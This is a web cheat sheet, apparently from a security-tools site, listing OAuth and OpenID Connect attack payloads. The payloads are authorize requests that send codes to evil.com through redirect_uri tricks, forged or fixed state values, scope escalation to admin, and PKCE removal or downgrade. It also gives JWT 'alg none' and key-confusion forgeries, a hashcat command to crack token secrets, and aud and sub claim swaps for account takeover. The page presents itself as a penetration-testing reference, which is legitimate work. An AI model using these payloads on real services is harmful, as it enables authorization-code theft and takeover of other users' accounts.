OAuth & OIDC Security Cheat Sheet

OAuth 2.0 and OpenID Connect attack techniques including CSRF via missing state, open redirect in redirect_uri, token scope escalation, and PKCE bypass. (19 payloads)

Missing State Parameter (CSRF)

(2)

GET /oauth/authorize?client_id=app&redirect_uri=https://app.com/callback&response_type=code

Vulnerable: CSRF on OAuth flow — no state param presentNo state parameter

GET /oauth/authorize?client_id=app&redirect_uri=https://app.com/callback&response_type=code&state=ATTACKER_CONTROLLED_VALUE

Test: can attacker set state to a fixed value?

Open Redirect in redirect_uri

(4)

GET /oauth/authorize?client_id=app&redirect_uri=https://evil.com&response_type=code

Direct redirect bypass

GET /oauth/authorize?client_id=app&redirect_uri=https://app.com.evil.com&response_type=code

Subdomain confusion

GET /oauth/authorize?client_id=app&redirect_uri=https://app.com/callback/../../../redirect?url=https://evil.com&response_type=code

Path traversal in redirect_uri

GET /oauth/authorize?client_id=app&redirect_uri=https://app.com/callback%0a%0dhttps://evil.com&response_type=code

CRLF injection in redirect_uri

Authorization Code Interception

(3)

Check Referer header on callback page — code may leak in Referer to third-party scripts

Auth code leaks via Referer header

Look for auth code in server-side logs, analytics, or CDN access logs

Auth code in server logs or analytics

GET /oauth/authorize?client_id=app&redirect_uri=https://app.com/callback&response_type=token

Implicit flow: token in URL fragment — visible to browser history and JS

Token Scope Escalation

(2)

POST /oauth/token
scope=admin openid profile

Add extra scopes to token request

GET /oauth/authorize?client_id=app&scope=admin+openid+profile&response_type=code

Modify scope in authorization request URL

PKCE Bypass

(2)

Remove code_verifier from token exchange POST body and test if server still returns token

PKCE bypass: server may not validate code_verifier

POST /oauth/token with code_challenge_method=plain instead of S256

Test if plain PKCE challenge method is accepted (weaker than S256)

JWT as Access Token Attacks

(3)

{"alg":"none"}

Algorithm confusion: remove signature — server may accept unsigned token

hashcat -m 16500 jwt_token.txt rockyou.txt

Weak HS256 secret: crack JWT offline

{"alg":"HS256"}

Algorithm confusion: sign HS256 with RS256 public key as HMAC secretalg confusion attack

Common OIDC Attacks

(3)

Decode ID token and check if "aud" claim is validated — swap aud to another client_id

ID token audience bypass: aud claim may not be validated

Replay ID token with old nonce value — check if server rejects replays

Nonce replay: nonce may not be validated

Decode ID token, swap "sub" claim to another user ID, re-sign and submit

sub claim IDOR: access another user account

ShareX LinkedIn Reddit

Level up your security testing

Install the CLI

npx payload-playground

Explore All Tools

Encoding, hashing, JWT & more

Browse Cheat Sheets

Quick-reference payload guides

Related Generators

JWT Payloads

Related Cheat Sheets

JWT Attacks Cheat Sheet

$loading...